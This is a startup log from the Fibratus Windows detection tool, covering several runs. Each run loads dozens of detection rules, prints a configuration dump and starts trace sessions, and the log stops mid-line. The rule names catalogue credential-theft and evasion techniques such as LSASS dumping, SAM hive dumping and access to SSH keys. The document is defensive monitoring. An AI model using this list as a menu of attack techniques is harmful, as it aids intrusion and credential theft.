+time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:29:15+01:00 level=info msg=bootstrapping with pid 17344. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:29:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-dns=>false flush-interval=>1s max-buffers=>36 enable-net=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-audit-api=>true stack-enrichment=>true min-buffers=>16 enable-vamap=>true enable-image=>true enable-registry=>true enable-thread=>true enable-fileio=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-age=>0 log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ durable=>false passive=>false] http=>[ serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus healthcheck=>true timeout=>5s flush-period=>1s bulk-workers=>1 trace-log=>false healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-registry=>false skip-files=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:29:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:29:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:29:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:29:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:29:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:31:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:31:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:31:24+01:00 level=info msg=bootstrapping with pid 16856. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:31:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-thread=>true min-buffers=>16 enable-threadpool=>false enable-dns=>false enable-vamap=>true enable-fileio=>true enable-registry=>true enable-mem=>false enable-audit-api=>true stack-enrichment=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-net=>true max-buffers=>36 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false timeout=>5s method=>POST endpoints=>[]] elasticsearch=>[ index-name=>fibratus timeout=>5s enabled=>false healthcheck=>true template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200]] amqp=>[ routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus durable=>false passive=>false vhost=>/] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s skip-allocs=>false excluded-files=>[] excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:31:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:31:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:31:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:31:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:31:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:32:20+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from 